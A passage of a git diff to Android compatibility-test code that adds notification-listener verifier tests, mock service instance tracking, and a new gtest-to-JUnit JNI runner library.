+ if (mCurrentTest != null && mCurrentTest.getIntent() != null) {
+ startActivity(mCurrentTest.getIntent());
} else if (id == R.string.attention_ready) {
if (mCurrentTest != null) {
mCurrentTest.status = READY;
@@ -452,7 +454,7 @@
@Override
void test() {
mNm.cancelAll();
- Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
logFail("no settings activity");
status = FAIL;
@@ -468,10 +470,57 @@
}
}
+ @Override
void tearDown() {
// wait for the service to start
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ String listeners = Secure.getString(getContentResolver(),
+ ENABLED_NOTIFICATION_LISTENERS);
+ if (listeners != null && listeners.contains(LISTENER_PATH)) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
}
protected class ServiceStartedTest extends InteractiveTestCase {
@@ -482,7 +531,7 @@
@Override
void test() {
- if (MockListener.getInstance() != null) {
+ if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
status = PASS;
next();
} else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
index 489797b..f32460f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockConditionProvider.java
@@ -19,6 +19,7 @@
import android.app.Activity;
import android.app.AutomaticZenRule;
import android.content.BroadcastReceiver;
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -35,7 +36,8 @@
public class MockConditionProvider extends ConditionProviderService {
static final String TAG = "MockConditionProvider";
- static final String PACKAGE_NAME = "com.android.cts.verifier.notifications";
+ public static final ComponentName COMPONENT_NAME =
+ new ComponentName("com.android.cts.verifier", MockConditionProvider.class.getName());
static final String PATH = "mock_cp";
static final String QUERY = "query_item";
@@ -56,6 +58,7 @@
private ArrayList<Uri> mSubscriptions = new ArrayList<>();
private boolean mConnected = false;
private BroadcastReceiver mReceiver;
+ private static MockConditionProvider sConditionProviderInstance = null;
@Override
public void onCreate() {
@@ -103,6 +106,20 @@
unregisterReceiver(mReceiver);
mReceiver = null;
Log.d(TAG, "destroyed");
+ sConditionProviderInstance = null;
+ }
+
+ public void requestUnbindService() {
+ sConditionProviderInstance = null;
+ super.requestUnbind();
+ }
+
+ public boolean isConnected() {
+ return mConnected;
+ }
+
+ public static MockConditionProvider getInstance() {
+ return sConditionProviderInstance;
}
public void resetData() {
@@ -141,6 +158,7 @@
public void onConnected() {
Log.d(TAG, "connected");
mConnected = true;
+ sConditionProviderInstance = this;
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 8b5acf8..5dfee12 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -18,6 +18,7 @@
import android.app.Notification;
import android.content.ComponentName;
import android.service.notification.NotificationListenerService;
+import android.service.notification.NotificationStats;
import android.service.notification.StatusBarNotification;
import android.util.ArrayMap;
import android.util.Log;
@@ -47,6 +48,7 @@
public static final String JSON_AMBIENT = "ambient";
public static final String JSON_MATCHES_ZEN_FILTER = "matches_zen_filter";
public static final String JSON_REASON = "reason";
+ public static final String JSON_STATS = "stats";
ArrayList<String> mPosted = new ArrayList<String>();
ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
@@ -174,13 +176,14 @@
@Override
public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
- int reason) {
+ NotificationStats stats, int reason) {
Log.d(TAG, "removed: " + sbn.getTag() + " for reason " + reason);
mRemoved.add(sbn.getTag());
JSONObject removed = new JSONObject();
try {
removed.put(JSON_TAG, sbn.getTag());
removed.put(JSON_REASON, reason);
+ removed.put(JSON_STATS, stats != null);
} catch (JSONException e) {
Log.e(TAG, "failed to pack up notification payload", e);
}
@@ -189,5 +192,4 @@
mRemovedReason.put(sbn.getTag(), removed);
onNotificationRankingUpdate(rankingMap);
}
-
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index c0c54a3..e35a52c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -16,20 +16,30 @@
package com.android.cts.verifier.notifications;
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
+import static android.provider.Settings.EXTRA_CHANNEL_GROUP_ID;
+import static android.provider.Settings.EXTRA_CHANNEL_ID;
+
import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
+import android.app.NotificationChannelGroup;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
import android.os.Bundle;
+import android.provider.Settings;
import android.provider.Settings.Secure;
import android.service.notification.StatusBarNotification;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
+import android.widget.Button;
import com.android.cts.verifier.R;
@@ -45,11 +55,13 @@
import static com.android.cts.verifier.notifications.MockListener.*;
import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
implements Runnable {
private static final String TAG = "NoListenerVerifier";
private static final String NOTIFICATION_CHANNEL_ID = TAG;
+ protected static final String PREFS = "listener_prefs";
private String mTag1;
private String mTag2;
@@ -82,30 +94,40 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new NotificationReceivedTest());
- tests.add(new DataIntactTest());
- tests.add(new DismissOneTest());
- tests.add(new DismissOneWithReasonTest());
- tests.add(new DismissAllTest());
- tests.add(new SnoozeNotificationForTimeTest());
- tests.add(new SnoozeNotificationForTimeCancelTest());
- tests.add(new GetSnoozedNotificationTest());
- tests.add(new EnableHintsTest());
- tests.add(new RequestUnbindTest());
- tests.add(new RequestBindTest());
- tests.add(new MessageBundleTest());
- tests.add(new EnableHintsTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
- tests.add(new NotificationNotReceivedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new NotificationReceivedTest());
+ tests.add(new DataIntactTest());
+ tests.add(new DismissOneTest());
+ tests.add(new DismissOneWithReasonTest());
+ tests.add(new DismissOneWithStatsTest());
+ tests.add(new DismissAllTest());
+ tests.add(new SnoozeNotificationForTimeTest());
+ tests.add(new SnoozeNotificationForTimeCancelTest());
+ tests.add(new GetSnoozedNotificationTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new ReceiveChannelBlockNoticeTest());
+ tests.add(new ReceiveGroupBlockNoticeTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new MessageBundleTest());
+ tests.add(new EnableHintsTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ tests.add(new NotificationNotReceivedTest());
+ }
return tests;
}
private void createChannel() {
NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
- NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ NOTIFICATION_CHANNEL_ID, IMPORTANCE_LOW);
mNm.createNotificationChannel(channel);
}
@@ -206,6 +228,161 @@
}
}
+ /**
+ * Creates a notification channel. Sends the user to settings to block the channel. Waits
+ * to receive the broadcast that the channel was blocked, and confirms that the broadcast
+ * contains the correct extras.
+ */
+ protected class ReceiveChannelBlockNoticeTest extends InteractiveTestCase {
+ private String mChannelId;
+ private int mRetries = 2;
+ private View mView;
+ @Override
+ View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.nls_block_channel);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ void setUp() {
+ mChannelId = UUID.randomUUID().toString();
+ NotificationChannel channel = new NotificationChannel(
+ mChannelId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+ mNm.createNotificationChannel(channel);
+ status = READY;
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ NotificationChannel channel = mNm.getNotificationChannel(mChannelId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+ if (channel.getImportance() == IMPORTANCE_NONE) {
+ if (prefs.contains(mChannelId) && prefs.getBoolean(mChannelId, false)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ // user hasn't jumped to settings to block the channel yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ void tearDown() {
+ MockListener.getInstance().resetData();
+ mNm.deleteNotificationChannel(mChannelId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.remove(mChannelId);
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+ .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+ .putExtra(EXTRA_CHANNEL_ID, mChannelId);
+ }
+ }
+
+ /**
+ * Creates a notification channel group. Sends the user to settings to block the group. Waits
+ * to receive the broadcast that the group was blocked, and confirms that the broadcast contains
+ * the correct extras.
+ */
+ protected class ReceiveGroupBlockNoticeTest extends InteractiveTestCase {
+ private String mGroupId;
+ private int mRetries = 2;
+ private View mView;
+ @Override
+ View inflate(ViewGroup parent) {
+ mView = createNlsSettingsItem(parent, R.string.nls_block_group);
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(false);
+ return mView;
+ }
+
+ @Override
+ void setUp() {
+ mGroupId = UUID.randomUUID().toString();
+ NotificationChannelGroup group
+ = new NotificationChannelGroup(mGroupId, "ReceiveChannelGroupBlockNoticeTest");
+ mNm.createNotificationChannelGroup(group);
+ NotificationChannel channel = new NotificationChannel(
+ mGroupId, "ReceiveChannelBlockNoticeTest", IMPORTANCE_LOW);
+ channel.setGroup(mGroupId);
+ mNm.createNotificationChannel(channel);
+ status = READY;
+ Button button = mView.findViewById(R.id.nls_action_button);
+ button.setEnabled(true);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ NotificationChannelGroup group = mNm.getNotificationChannelGroup(mGroupId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+
+ if (group.isBlocked()) {
+ if (prefs.contains(mGroupId) && prefs.getBoolean(mGroupId, false)) {
+ status = PASS;
+ } else {
+ if (mRetries > 0) {
+ mRetries--;
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ } else {
+ // user hasn't jumped to settings to block the channel yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ void tearDown() {
+ MockListener.getInstance().resetData();
+ mNm.deleteNotificationChannelGroup(mGroupId);
+ SharedPreferences prefs = mContext.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.remove(mGroupId);
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CHANNEL_GROUP_NOTIFICATION_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
+ .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+ .putExtra(EXTRA_CHANNEL_GROUP_ID, mGroupId);
+ }
+ }
+
private class DataIntactTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
@@ -265,9 +442,6 @@
"data integrity test: notification ID (%d, %d)");
pass &= checkEquals(mWhen3, payload.getLong(JSON_WHEN),
"data integrity test: notification when (%d, %d)");
- } else {
- pass = false;
- logFail("unexpected notification tag: " + tag);
}
} catch (JSONException e) {
pass = false;
@@ -275,7 +449,7 @@
}
}
- pass &= found.size() == 3;
+ pass &= found.size() >= 3;
status = pass ? PASS : FAIL;
}
@@ -389,6 +563,61 @@
}
}
+ private class DismissOneWithStatsTest extends InteractiveTestCase {
+ int mRetries = 3;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_clear_one_stats);
+ }
+
+ @Override
+ void setUp() {
+ createChannel();
+ sendNotifications();
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockListener.getInstance().cancelNotification(
+ MockListener.getInstance().getKeyForTag(mTag1));
+ status = RETEST;
+ } else {
+ List<JSONObject> result =
+ new ArrayList<>(MockListener.getInstance().mRemovedReason.values());
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ pass &= (payload.getBoolean(JSON_STATS) == false);
+ } catch (JSONException e) {
+ e.printStackTrace();
+ pass = false;
+ }
+ }
+ if (pass) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ logFail("Notification listener got populated stats object.");
+ status = FAIL;
+ }
+ }
+ }
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannel();
+ MockListener.getInstance().resetData();
+ }
+ }
+
private class DismissAllTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
@@ -458,6 +687,7 @@
}
private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
@Override
View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.nls_service_stopped);
@@ -465,12 +695,23 @@
@Override
void test() {
- if (mNm.getEffectsSuppressor() == null) {
+ if (mNm.getEffectsSuppressor() == null && (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected)) {
status = PASS;
} else {
- status = FAIL;
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
}
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ }
}
private class NotificationNotReceivedTest extends InteractiveTestCase {
@@ -489,12 +730,16 @@
@Override
void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ if (MockListener.getInstance() == null) {
status = PASS;
} else {
- logFail();
- status = FAIL;
+ List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+ if (result.size() == 0) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
}
next();
}
@@ -503,7 +748,9 @@
void tearDown() {
mNm.cancelAll();
deleteChannel();
- MockListener.getInstance().resetData();
+ if (MockListener.getInstance() != null) {
+ MockListener.getInstance().resetData();
+ }
}
}
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index 82e3617..f880933 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -21,6 +21,7 @@
<uses-sdk android:minSdkVersion="23"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
<application android:label="CtsPermissionApp"
android:icon="@drawable/ic_permissionapp">
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
index cb4324c..c81f8fe 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/GenericDeviceInfo.java
@@ -73,7 +73,7 @@
store.addResult(BUILD_FINGERPRINT, Build.FINGERPRINT);
store.addResult(BUILD_ABI, Build.CPU_ABI);
store.addResult(BUILD_ABI2, Build.CPU_ABI2);
- store.addResult(BUILD_SERIAL, Build.SERIAL);
+ store.addResult(BUILD_SERIAL, Build.getSerial());
store.addResult(BUILD_VERSION_RELEASE, Build.VERSION.RELEASE);
store.addResult(BUILD_VERSION_SDK, Build.VERSION.SDK);
store.addResult(BUILD_REFERENCE_FINGERPRINT,
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/common/device-side/nativetesthelper/Android.mk
similarity index 68%
copy from hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
copy to common/device-side/nativetesthelper/Android.mk
index 0df59e7..19f584d 100644
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
+++ b/common/device-side/nativetesthelper/Android.mk
@@ -4,7 +4,7 @@
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
-# http://www.apache.org/licenses/LICENSE-2.0
+# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
@@ -16,16 +16,10 @@
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
+LOCAL_MODULE := nativetesthelper
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+include $(BUILD_STATIC_JAVA_LIBRARY)
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_MODULE := cts-display-service-app-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/app/appSdk25/Android.mk b/common/device-side/nativetesthelper/jni/Android.mk
similarity index 60%
copy from tests/app/appSdk25/Android.mk
copy to common/device-side/nativetesthelper/jni/Android.mk
index 36c6d07..f970e8c 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/common/device-side/nativetesthelper/jni/Android.mk
@@ -12,24 +12,25 @@
# See the License for the specific language governing permissions and
# limitations under the License.
+#
+# This is the shared library included by the JNI test app.
+#
+
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
+LOCAL_MODULE := libnativetesthelper_jni
LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
+ gtest_wrapper.cpp
-LOCAL_SDK_VERSION := 25
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
+LOCAL_WHOLE_STATIC_LIBRARIES := libgtest_ndk_c++
+LOCAL_EXPORT_STATIC_LIBRARY_HEADERS := libgtest_ndk_c++
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_MULTILIB := both
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_STATIC_LIBRARY)
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
new file mode 100644
index 0000000..1f91b3a
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <gtest/gtest.h>
+
+static struct {
+ jclass clazz;
+
+ /** static methods **/
+ jmethodID createTestDescription;
+
+ /** methods **/
+ jmethodID addChild;
+} gDescription;
+
+static struct {
+ jclass clazz;
+
+ jmethodID fireTestStarted;
+ jmethodID fireTestIgnored;
+ jmethodID fireTestFailure;
+ jmethodID fireTestFinished;
+
+} gRunNotifier;
+
+static struct {
+ jclass clazz;
+ jmethodID ctor;
+} gAssertionFailure;
+
+static struct {
+ jclass clazz;
+ jmethodID ctor;
+} gFailure;
+
+jobject gEmptyAnnotationsArray;
+
+static jobject createTestDescription(JNIEnv* env, const char* className, const char* testName) {
+ ScopedLocalRef<jstring> jClassName(env, env->NewStringUTF(className));
+ ScopedLocalRef<jstring> jTestName(env, env->NewStringUTF(testName));
+ return env->CallStaticObjectMethod(gDescription.clazz, gDescription.createTestDescription,
+ jClassName.get(), jTestName.get(), gEmptyAnnotationsArray);
+}
+
+static void addChild(JNIEnv* env, jobject description, jobject childDescription) {
+ env->CallVoidMethod(description, gDescription.addChild, childDescription);
+}
+
+
+class JUnitNotifyingListener : public ::testing::EmptyTestEventListener {
+public:
+
+ JUnitNotifyingListener(JNIEnv* env, jobject runNotifier)
+ : mEnv(env)
+ , mRunNotifier(runNotifier)
+ , mCurrentTestDescription{env, nullptr}
+ {}
+ virtual ~JUnitNotifyingListener() {}
+
+ virtual void OnTestStart(const testing::TestInfo &testInfo) override {
+ mCurrentTestDescription.reset(
+ createTestDescription(mEnv, testInfo.test_case_name(), testInfo.name()));
+ notify(gRunNotifier.fireTestStarted);
+ }
+
+ virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
+ if (!testPartResult.passed()) {
+ char message[1024];
+ snprintf(message, 1024, "%s:%d\n%s", testPartResult.file_name(), testPartResult.line_number(),
+ testPartResult.message());
+ ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(message));
+ ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
+ gAssertionFailure.ctor, jmessage.get()));
+ ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
+ gFailure.ctor, mCurrentTestDescription.get(), jthrowable.get()));
+ mEnv->CallVoidMethod(mRunNotifier, gRunNotifier.fireTestFailure, jfailure.get());
+ }
+ }
+
+ virtual void OnTestEnd(const testing::TestInfo&) override {
+ notify(gRunNotifier.fireTestFinished);
+ mCurrentTestDescription.reset();
+ }
+
+ virtual void OnTestProgramEnd(const testing::UnitTest& unitTest) override {
+ // Invoke the notifiers for all the disabled tests
+ for (int testCaseIndex = 0; testCaseIndex < unitTest.total_test_case_count(); testCaseIndex++) {
+ auto testCase = unitTest.GetTestCase(testCaseIndex);
+ for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+ auto testInfo = testCase->GetTestInfo(testIndex);
+ if (!testInfo->should_run()) {
+ mCurrentTestDescription.reset(
+ createTestDescription(mEnv, testCase->name(), testInfo->name()));
+ notify(gRunNotifier.fireTestIgnored);
+ mCurrentTestDescription.reset();
+ }
+ }
+ }
+ }
+
+private:
+ void notify(jmethodID method) {
+ mEnv->CallVoidMethod(mRunNotifier, method, mCurrentTestDescription.get());
+ }
+
+ JNIEnv* mEnv;
+ jobject mRunNotifier;
+ ScopedLocalRef<jobject> mCurrentTestDescription;
+};
+
+extern "C"
+JNIEXPORT void JNICALL
+Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jobject suite) {
+ // Initialize gtest, removing the default result printer
+ int argc = 1;
+ const char* argv[] = { "gtest_wrapper" };
+ ::testing::InitGoogleTest(&argc, (char**) argv);
+
+ auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+ delete listeners.Release(listeners.default_result_printer());
+
+ gDescription.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/Description"));
+ gDescription.createTestDescription = env->GetStaticMethodID(gDescription.clazz, "createTestDescription",
+ "(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/annotation/Annotation;)Lorg/junit/runner/Description;");
+ gDescription.addChild = env->GetMethodID(gDescription.clazz, "addChild",
+ "(Lorg/junit/runner/Description;)V");
+
+ jclass annotations = env->FindClass("java/lang/annotation/Annotation");
+ gEmptyAnnotationsArray = env->NewGlobalRef(env->NewObjectArray(0, annotations, nullptr));
+
+ gAssertionFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("java/lang/AssertionError"));
+ gAssertionFailure.ctor = env->GetMethodID(gAssertionFailure.clazz, "<init>", "(Ljava/lang/Object;)V");
+
+ gFailure.clazz = (jclass) env->NewGlobalRef(env->FindClass("org/junit/runner/notification/Failure"));
+ gFailure.ctor = env->GetMethodID(gFailure.clazz, "<init>",
+ "(Lorg/junit/runner/Description;Ljava/lang/Throwable;)V");
+
+ gRunNotifier.clazz = (jclass) env->NewGlobalRef(
+ env->FindClass("org/junit/runner/notification/RunNotifier"));
+ gRunNotifier.fireTestStarted = env->GetMethodID(gRunNotifier.clazz, "fireTestStarted",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestIgnored = env->GetMethodID(gRunNotifier.clazz, "fireTestIgnored",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestFinished = env->GetMethodID(gRunNotifier.clazz, "fireTestFinished",
+ "(Lorg/junit/runner/Description;)V");
+ gRunNotifier.fireTestFailure = env->GetMethodID(gRunNotifier.clazz, "fireTestFailure",
+ "(Lorg/junit/runner/notification/Failure;)V");
+
+ auto unitTest = ::testing::UnitTest::GetInstance();
+ for (int testCaseIndex = 0; testCaseIndex < unitTest->total_test_case_count(); testCaseIndex++) {
+ auto testCase = unitTest->GetTestCase(testCaseIndex);
+ for (int testIndex = 0; testIndex < testCase->total_test_count(); testIndex++) {
+ auto testInfo = testCase->GetTestInfo(testIndex);
+ ScopedLocalRef<jobject> testDescription(env,
+ createTestDescription(env, testCase->name(), testInfo->name()));
+ addChild(env, suite, testDescription.get());
+ }
+ }
+}
+
+extern "C"
+JNIEXPORT jboolean JNICALL
+Java_com_android_gtestrunner_GtestRunner_nRun(JNIEnv *env, jclass, jobject notifier) {
+ auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
+ JUnitNotifyingListener junitListener{env, notifier};
+ listeners.Append(&junitListener);
+ int success = RUN_ALL_TESTS();
+ listeners.Release(&junitListener);
+ return success == 0;
+}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
new file mode 100644
index 0000000..222a1a0
--- /dev/null
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.gtestrunner;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.notification.RunNotifier;
+
+public class GtestRunner extends Runner {
+ private static boolean sOnceFlag = false;
+
+ private Class mTargetClass;
+ private Description mDescription;
+
+ public GtestRunner(Class testClass) {
+ synchronized (GtestRunner.class) {
+ if (sOnceFlag) {
+ throw new IllegalStateException("Error multiple GtestRunners defined");
+ }
+ sOnceFlag = true;
+ }
+
+ mTargetClass = testClass;
